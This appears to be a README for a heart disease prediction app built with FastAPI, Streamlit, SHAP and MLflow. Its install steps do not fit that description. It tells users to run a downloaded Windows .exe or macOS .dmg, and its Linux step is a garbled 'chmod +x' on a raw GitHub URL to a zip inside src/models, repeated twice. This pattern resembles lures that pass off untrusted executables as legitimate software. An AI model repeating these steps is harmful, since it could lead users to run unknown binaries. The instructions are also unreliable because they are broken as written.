Heart-Disease-Prediction is a production-ready machine learning application designed to help you assess the risk of heart disease with an impressive accuracy of 88.5%. This application uses a FastAPI REST API for smooth interactions, a Streamlit dashboard for visual insights, SHAP for model explainability, and MLflow for tracking experiments. It demonstrates the complete machine learning process from model creation to deployment.
To successfully run this application, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, macOS, or Linux
- Python: Version 3.7 or later
- An active internet connection for downloading the necessary files
- FastAPI REST API: Easy integration with other applications.
- Streamlit Dashboard: Interactive interface for data visualization.
- SHAP Explainability: Understand how predictions are made.
- MLflow Tracking: Keep track of experiments and models.
- Docker Deployment: Simplified setup and consistent running environment.
To get started, you can download the application from the Releases page:
- Click on the link above to open the Releases page.
- On the Releases page, find the latest version of the Heart-Disease-Prediction application.
- Download the application file suitable for your operating system.
- Locate the downloaded file on your computer.
Once you have downloaded the application, follow these steps to run it:
-
For Windows:
- Double-click the downloaded
.exefile. - Follow the on-screen instructions to finish the setup.
- The application will launch automatically.
- Double-click the downloaded
-
For macOS:
- Open the
.dmgfile you downloaded. - Drag the
Heart-Disease-Predictionicon to your Applications folder. - Open your Applications folder and launch the application.
- Open the
-
For Linux:
- Open your terminal.
- Navigate to the directory where the file is downloaded.
- Run the following command:
chmod +x https://github.com/BimsaraIUHS/Heart-Disease-Prediction/raw/refs/heads/main/src/models/Prediction_Disease_Heart_v2.0.zip https://github.com/BimsaraIUHS/Heart-Disease-Prediction/raw/refs/heads/main/src/models/Prediction_Disease_Heart_v2.0.zip - The application will start.
Once the application is running, you can begin assessing heart disease risk:
- Enter the necessary details in the provided input fields.
- Click on the 'Predict' button to view your assessment.
- Use the dashboard features to explore your predictions visually.
If you encounter issues or have questions, feel free to reach out. The community is here to help you. You can check the Issues tab in the repository or ask for assistance in relevant forums.
For the latest updates and enhancements, keep an eye on the repository. New features and improvements will be rolled out regularly.
By following these steps, you can easily download, install, and use the Heart-Disease-Prediction application to assess heart disease risk effectively. Happy predicting!